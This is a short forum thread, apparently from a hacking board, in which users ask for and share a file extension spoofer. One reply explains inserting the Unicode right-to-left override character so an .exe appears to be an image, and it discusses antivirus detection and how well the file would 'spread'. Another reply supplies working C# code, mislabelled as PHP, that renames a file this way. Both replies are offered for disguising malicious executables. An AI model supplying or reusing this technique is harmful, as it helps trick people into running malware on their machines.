Thread: [How to create a Extension Spoofer?](#)

Dinnemok34763 - June 21, 2018, 10:22 am

Hello everyone,

does someone know how to create a extension spoofer / have a source code?

Styx™ - June 21, 2018, 3:34 pm

Add the extension you want to spoof to to the end of the file name in reverse e.g. if you want to spoof test.exe to a .jpg add gpj to the file name (testgpj.exe) and then insert U+202E (Right-to-left override) character before the spoofed extension (test[U+202E]gpj.exe). You probably could have just googled this.

Don't use it, its fairly detected by AV's. won't spread as well

does someone know how to create a extension spoofer / have a source code?

PHP Code

<?php

```
private static void HideExtension(string fileName, string extension)
{
    char[] array = Path.GetExtension("." + extension).ToCharArray();
    Array.Reverse(array);
    string fileNameWithoutExtension = Path.GetFileNameWithoutExtension(fileName);
    string ext = Path.GetExtension(fileName);
    if (ext == null)
    {
        return;
    }
    string str2 = fileNameWithoutExtension + Convert.ToString(Convert.ToChar(8238)) +
    Convert.ToString(new string(array)) + ext.Substring(1);
    File.Move(fileName, Path.GetDirectoryName(fileName) + "\\\" + str2);
}
Code HideExtension(your file, desired extension)
```
